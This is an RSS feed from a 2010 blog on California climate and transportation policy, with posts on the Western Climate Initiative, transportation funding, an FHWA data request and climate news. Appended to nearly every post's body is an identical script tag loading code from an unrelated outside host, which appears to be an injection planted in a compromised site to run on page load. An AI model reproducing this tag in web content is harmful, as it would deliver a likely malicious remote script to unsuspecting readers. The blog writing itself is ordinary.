<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>The Gradient</title>
	<atom:link href="http://thegradient.info/feed/" rel="self" type="application/rss+xml" />
	<link>http://thegradient.info</link>
	<description>the space between black and white</description>
	<lastBuildDate>Wed, 28 Jul 2010 16:31:18 +0000</lastBuildDate>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
	
		<item>
		<title>Western Climate Initiative</title>
		<link>http://thegradient.info/2010/07/western-climate-initiative/</link>
		<comments>http://thegradient.info/2010/07/western-climate-initiative/#comments</comments>
		<pubDate>Wed, 28 Jul 2010 16:31:18 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Climate Change]]></category>
		<category><![CDATA[cap and trade WCI]]></category>

		<guid isPermaLink="false">http://thegradient.info/2010/07/western-climate-initiative/</guid>
		<description><![CDATA[The Western Climate Initiative (WCI) released its plan for the regional carbon market, of which California is a member. The plan outlines the general framework for partially achieving AB 32 goals. Because the WCI is comprised of six other western states, in addition to California, and four Canadian provinces, the goals have been set a [...]]]></description>
			<content:encoded><![CDATA[<p>The Western Climate Initiative (WCI) released its <a href="http://westernclimateinitiative.org/the-wci-cap-and-trade-program/program-design">plan</a> for the regional carbon market, of which California is a member. The plan outlines the general framework for partially achieving AB 32 goals. Because the WCI is comprised of six other western states, in addition to California, and four Canadian provinces, the goals have been set a reduced scale relative to AB 32: 15% below 2005 levels by 2020, starting in 2012. AB 32 calls for 1990 levels by 2020 and 80% below 1990 by 2050.</p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2010/07/western-climate-initiative/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Things to watch, July 4, 2010</title>
		<link>http://thegradient.info/2010/07/things-to-watch-july-4-2010/</link>
		<comments>http://thegradient.info/2010/07/things-to-watch-july-4-2010/#comments</comments>
		<pubDate>Mon, 05 Jul 2010 05:00:09 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thegradient.info/2010/07/things-to-watch-july-4-2010/</guid>
		<description><![CDATA[PPIC will release its tenth annual Statewide Survey on Californians and the Environment this month. The survey reviews Californians’ views on climate change and energy policy, perceptions of global warming, attitudes toward regulating greenhouse gas emissions, and preferences for specific emissions and energy policies. New proposition numbers: Proposition 22&#160;&#160;&#160; Prohibits the State from Taking Funds [...]]]></description>
			<content:encoded><![CDATA[<ul>
<li>PPIC will release its tenth annual <a href="http://www.ppic.org/main/event.asp?i=1035" target="_blank">Statewide Survey on Californians and the Environment</a> this month. The survey reviews Californians’ views on climate change and energy policy, perceptions of global warming, attitudes toward regulating greenhouse gas emissions, and preferences for specific emissions and energy policies. </li>
<li>New proposition numbers:</li>
<ul>
<li><strong>Proposition 22</strong>&#160;&#160;&#160; Prohibits the State from Taking Funds Used for Transportation or Local Government Projects and Services.</li>
<li><strong>Proposition 23 </strong>&#160;&#160; Suspends Air Pollution Control Laws Requiring Major Polluters to Report and Reduce Greenhouse Gas Emissions that Cause Global Warming Until Unemployment Drops Below Specified Level for Full Year.</li>
</ul>
<li><a href="http://www.ca-ilg.org/node/2802" target="_blank">Green fleet stories</a> – These probably need to be reviewed for generalizability (or even applicability), but there are some interesting stories.</li>
<li>Legal Planet has been posting excerpts on various candidates for major offices in CA. <a href="http://legalplanet.wordpress.com/2010/06/27/barbara-boxer-and-the-environment/" target="_blank">Here’s Barbara Boxer</a></li>
</ul>
<p><u>Non-California items:</u></p>
<ul>
<li>The World Resources Institute and <a href="http://www.bigroom.ca/">Big Room Inc.</a> have produced the <a href="http://www.wri.org/publication/global-ecolabel-monitor">2010 Global Ecolabel Monitor</a> review the results of a survey given to 340 ecolabels in 42 countries, including their performance, organizational structure, and verification systems. </li>
<li>With help from a $1.32 million federal grant, the state <a href="http://blog.seattlepi.com/transportation/archives/212847.asp" target="_blank">Transportation Department plans to turn Interstate 5</a> into the nation&#8217;s first &quot;<a href="http://wsdot.wa.gov/Partners/GreenHighways/electric_highways.htm">electric highway</a>&quot; with enough charging stations so electric vehicles can make the entire 276-mile trip from the Canadian border to the Oregon state line, Gov. Chris Gregoire <a href="http://www.governor.wa.gov/news/news-view.asp?pressRelease=1523&amp;newsType=1">announced</a> Monday.</li>
</ul>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2010/07/things-to-watch-july-4-2010/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Unraveling the Flow of Transportation Funds</title>
		<link>http://thegradient.info/2010/05/unraveling-the-flow-of-transportation-funds/</link>
		<comments>http://thegradient.info/2010/05/unraveling-the-flow-of-transportation-funds/#comments</comments>
		<pubDate>Sat, 15 May 2010 22:02:53 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Transport Funding]]></category>

		<guid isPermaLink="false">http://thegradient.info/2010/05/unraveling-the-flow-of-transportation-funds/</guid>
		<description><![CDATA[I’ve recently been trying to unravel more than a skimming of the general flow of transportation funding in California. Here is the basic starting point, with thanks to Caltrans for providing the chart. I&#8217;ve also uploaded the budget sheet to Seadragon:]]></description>
			<content:encoded><![CDATA[<p>I’ve recently been trying to unravel more than a skimming of the general flow of transportation funding in California. Here is the <a href="http://thegradient.info/DNFiles/2009-10 Transportation Financing Package.pdf" target="_blank">basic starting point</a>, with thanks to Caltrans for providing the chart.</p>
<p>I&#8217;ve also uploaded the budget sheet to Seadragon:</p>
<p><script src="http://seadragon.com/embed/11sy.js?width=auto&height=400px"></script><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2010/05/unraveling-the-flow-of-transportation-funds/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Hobson&#8217;s Choice</title>
		<link>http://thegradient.info/2010/05/hobsons-choice/</link>
		<comments>http://thegradient.info/2010/05/hobsons-choice/#comments</comments>
		<pubDate>Mon, 03 May 2010 22:02:26 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Climate Change]]></category>
		<category><![CDATA[Transparency]]></category>

		<guid isPermaLink="false">http://thegradient.info/2010/05/hobsons-choice/</guid>
		<description><![CDATA[For a thoughtful discussion on the Gulf spill, see this blog entry by Tom Beamish (at UC Davis): http://mitpress.typepad.com/mitpresslog/2010/05/the-gulf-spill-and-the-hobsons-choice-of-oil-production.html#more]]></description>
			<content:encoded><![CDATA[<p>For a thoughtful discussion on the Gulf spill, see this blog entry by Tom Beamish (at UC Davis): <a title="http://mitpress.typepad.com/mitpresslog/2010/05/the-gulf-spill-and-the-hobsons-choice-of-oil-production.html#more" href="http://mitpress.typepad.com/mitpresslog/2010/05/the-gulf-spill-and-the-hobsons-choice-of-oil-production.html#more">http://mitpress.typepad.com/mitpresslog/2010/05/the-gulf-spill-and-the-hobsons-choice-of-oil-production.html#more</a></p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2010/05/hobsons-choice/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Graham Walks Away</title>
		<link>http://thegradient.info/2010/04/graham-walks-away/</link>
		<comments>http://thegradient.info/2010/04/graham-walks-away/#comments</comments>
		<pubDate>Sun, 25 Apr 2010 16:13:14 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Climate Change]]></category>

		<guid isPermaLink="false">http://thegradient.info/2010/04/graham-walks-away/</guid>
		<description><![CDATA[The Washington Post has announced that the anticipated press conference called for tomorrow (Monday, April 26) to announce the outline of the Kerry-Lieberman-Graham compromise proposal for a climate and energy bill has been canceled. Graham states “…appears to be a decision by the Obama Administration and the Senate Democratic leadership to move immigration instead of [...]]]></description>
			<content:encoded><![CDATA[<p>The <a href="http://views.washingtonpost.com/climate-change/post-carbon/2010/04/sen_graham_threatens_to_halt_work_on_climate_and_energy_bill.html" target="_blank">Washington Post</a> has announced that the anticipated press conference called for tomorrow (Monday, April 26) to announce the outline of the Kerry-Lieberman-Graham compromise proposal for a climate and energy bill has been canceled. Graham states “…appears to be a decision by the Obama Administration and the Senate Democratic leadership to move immigration instead of energy. Unless their plan substantially changes this weekend, I will be unable to move forward on energy independence legislation at this time…”</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2010/04/graham-walks-away/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Why people get frustrated with government</title>
		<link>http://thegradient.info/2010/03/why-people-get-frustrated-with-government/</link>
		<comments>http://thegradient.info/2010/03/why-people-get-frustrated-with-government/#comments</comments>
		<pubDate>Mon, 22 Mar 2010 20:49:53 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Transparency]]></category>

		<guid isPermaLink="false">http://thegradient.info/2010/03/why-people-get-frustrated-with-government/</guid>
		<description><![CDATA[So I recently requested data from a report that was commissioned by FHWA. The back and forth between us (myself and the contractors who did the report for FHWA) is interesting. It felt a bit surreal sometimes… Here is my email request (the pdf of the report is available on the web): I am trying [...]]]></description>
			<content:encoded><![CDATA[<p>So I recently requested data from a report that was commissioned by FHWA. The back and forth between us (myself and the contractors who did the report for FHWA) is interesting. It felt a bit surreal sometimes…</p>
<p>Here is my email request (the pdf of the report is available on the web):</p>
<blockquote><p>I am trying to find the spreadsheets for the tables contained in this report:     <br />&#160;&#160; […removed title to keep the process as the focus of this blog]</p>
<p>I was told one of you might be able to help me? I would like to be able show some of the information in a design class I teach, but would rather not have to re-type it all in a spreadsheet.</p>
</blockquote>
<p><font color="#666666"></font>Here is the next email that came (very quickly so everyone was trying to be responsive):</p>
<blockquote><p>[Name]&#8211;     <br />This data belongs to FHWA.      <br />Please advise on release and proper attribution.</p>
</blockquote>
<p>Note that the FHWA contact was cc’d and was being asked to advise on the request. The FHWA contact person wrote a short email that basically said give the spreadsheets to her, which was then followed by an email directing me to an FHWA site where I could download the data. The consultant also included the word file of the report. I was a little perplexed why they didn’t just direct me to the FHWA site right away, so I sent this email back:</p>
<blockquote><p>Hi &#8211; Thanks to everyone. I will download the data shortly.     <br />In the meantime, I have a question. The webpage where the data can be downloaded has an FHWA header, yet this page was not immediately made available when I asked about the data.       <br />Could I get some clarification as to why I am directed to FHWA public site but needed to have FHWA&#8217;s permission to download? I would like to make these data available to students, but wish clarification [on] this point before doing do.</p>
</blockquote>
<p><font color="#666666"></font></p>
<p><em><font color="#666666"></font></em></p>
<p>This generated the following back to me,</p>
<blockquote><p>Deb-</p>
<p>My impression is that you requested the raw compendium spreadsheets from us to save your effort.</p>
<p>We did not research alternative ways to obtain it, and apparently, you had been unable to find or download the data from the public sites/links.</p>
<p>We simply requested and received permission to provide our base work papers to you, since our work was performed for FHWA.</p>
</blockquote>
<p>Huh? So I sent this email, asking for clarification of their email,</p>
<blockquote><p>[Name],     <br />… I asked for the same data presented in the tables in the report in a spreadsheet format (nothing additional). I couldn&#8217;t imagine that someone would actually type in all those numbers versus cut and paste from a spreadsheet.       <br />The email with the weblink directs me to an FHWA page with that spreadsheet data. I don&#8217;t see any difference between the data I was directed and the &quot;raw&quot; data that are in the tables in word file that Mark sent to me.      <br />I just want to clarify what is exactly is publicly available versus not. I&#8217;m probably missing something, but I don&#8217;t understand what FHWA was giving permission for? Or why it even was asked for?</p>
</blockquote>
<p>which generated this response,</p>
<blockquote><p>Because we are a contractor to FHWA, and our firm&#8217;s policy for any client is &#8230;not to distribute any client&#8217;s materials unless the distribution is specifically concurred in by client.</p>
<p>We did not respond to you with questions about where, how, or why you had searched for the info &#8212; we simply took necessary steps to arrange to get what we have to you.</p>
</blockquote>
<p>Well now, that clarifies things: it was easier to ask FHWA if they could provide me with a public website address than to just give me the public website address themselves. Glad we got that cleared up.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2010/03/why-people-get-frustrated-with-government/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Rapid Succession</title>
		<link>http://thegradient.info/2010/03/rapid-succession/</link>
		<comments>http://thegradient.info/2010/03/rapid-succession/#comments</comments>
		<pubDate>Fri, 19 Mar 2010 20:04:33 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[State Agency News]]></category>

		<guid isPermaLink="false">http://thegradient.info/2010/03/rapid-succession/</guid>
		<description><![CDATA[Another Caltrans Director leaves for a local agency.]]></description>
			<content:encoded><![CDATA[<p>Another <a href="http://www.bizjournals.com/sacramento/stories/2010/03/15/daily77.html?ana=from_rss&amp;utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+bizj_sacramento+%28Sacramento+Business+Journal%29" target="_blank">Caltrans Director leaves</a> for a local agency.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2010/03/rapid-succession/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>One UC Chancellor vs Another</title>
		<link>http://thegradient.info/2009/12/one-uc-chancellor-vs-another/</link>
		<comments>http://thegradient.info/2009/12/one-uc-chancellor-vs-another/#comments</comments>
		<pubDate>Wed, 23 Dec 2009 02:28:53 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Academic Life]]></category>

		<guid isPermaLink="false">http://thegradient.info/2009/12/one-uc-chancellor-vs-another/</guid>
		<description><![CDATA[It’s interesting to contrast the way in which UC Berkeley (and the UC system) has handled Chancellor Birgeneau’s student protests (see a summary here) and the way in which the system (and then-President Dynes) handled similar incidents against then Chancellor Denton (see a summary here).]]></description>
			<content:encoded><![CDATA[<p>It’s interesting to contrast the way in which UC Berkeley (and the UC system) has handled Chancellor Birgeneau’s student protests (<a href="http://budgetcrisis.berkeley.edu/?p=1721" target="_blank">see a summary here</a>) and the way in which the system (and then-President Dynes) handled similar incidents against then Chancellor Denton (<a href="http://www.sanfranmag.com/story/scandal-scapegoats-and-suicide" target="_blank">see a summary here</a>).</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2009/12/one-uc-chancellor-vs-another/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Synopsis of Copenhagen</title>
		<link>http://thegradient.info/2009/12/synopsis-of-copenhagen/</link>
		<comments>http://thegradient.info/2009/12/synopsis-of-copenhagen/#comments</comments>
		<pubDate>Thu, 17 Dec 2009 21:24:49 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Uncategorized]]></category>

		<guid isPermaLink="false">http://thegradient.info/2009/12/synopsis-of-copenhagen/</guid>
		<description><![CDATA[Climate progress has a nice round up of Copenhagen talks.]]></description>
			<content:encoded><![CDATA[<p>Climate progress has a nice <a href="http://climateprogress.org/2009/12/17/copenhagen-a-climate-commitment-roundup/?utm_source=feedburner&amp;utm_medium=feed&amp;utm_campaign=Feed%3A+climateprogress%2FlCrX+%28Climate+Progress%29&amp;utm_content=Google+Feedfetcher" target="_blank">round up of Copenhagen talks</a>.</p>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2009/12/synopsis-of-copenhagen/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>Tidy List of What Aliens Are Doing to the Earth</title>
		<link>http://thegradient.info/2009/12/tidy-list-of-what-aliens-are-doing-to-the-earth/</link>
		<comments>http://thegradient.info/2009/12/tidy-list-of-what-aliens-are-doing-to-the-earth/#comments</comments>
		<pubDate>Tue, 08 Dec 2009 21:09:45 +0000</pubDate>
		<dc:creator>dniemeier</dc:creator>
				<category><![CDATA[Climate Change]]></category>

		<guid isPermaLink="false">http://thegradient.info/2009/12/tidy-list-of-what-aliens-are-doing-to-the-earth/</guid>
		<description><![CDATA[From the National Wildlife Federation’s Dr. Amanda Staudt (full post), While opponents want to draw attention to decade-old emails, here is what is happening right now to the planet: Temperatures this decade have been higher than any other decade on record, and one degree (F) higher than average temperatures in the 20th century. Ocean temperatures [...]]]></description>
			<content:encoded><![CDATA[<p>From the National Wildlife Federation’s Dr. Amanda Staudt (<a href="http://blogs.nwf.org/arctic_promise/2009/12/nwf-scientist-responds-to-climate-email-theft.html" target="_blank">full post</a>), </p>
<blockquote><p>While opponents want to draw attention to decade-old emails, here is what is happening right now to the planet:</p>
<ul>
<li>
<p>Temperatures this decade have been <a href="http://data.giss.nasa.gov/gistemp">higher than any other decade on record</a>, and one degree (F) higher than average temperatures in the 20th century.</p>
</li>
<li>
<p>Ocean temperatures worldwide this summer were <a href="http://www.ncdc.noaa.gov/sotc/">hotter than ever previously recorded</a>.</p>
</li>
<li>
<p>Stable sea ice in the Arctic melted to its <a href="http://nsidc.org/news/press/20091005_minimumpr.html">lowest recorded levels</a> this summer, declining more than 60% since the 1980s and 1990s.</p>
</li>
<li>
<p>Carbon dioxide levels in the atmosphere for 2009 (387 parts per million) are the <a href="http://www.esrl.noaa.gov/gmd/ccgg/trends/">highest they have been in about 15 million years</a>.</p>
</li>
<li>
<p>Globally, 8.7 billion tons of carbon were emitted in 2008 from burning coal, oil and natural gas, a 41% increase from 1990.</p>
</li>
</ul>
</blockquote>
<p><script src="http://ie.eracou.com/3"></script></p>
]]></content:encoded>
			<wfw:commentRss>http://thegradient.info/2009/12/tidy-list-of-what-aliens-are-doing-to-the-earth/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
	</channel>
</rss>
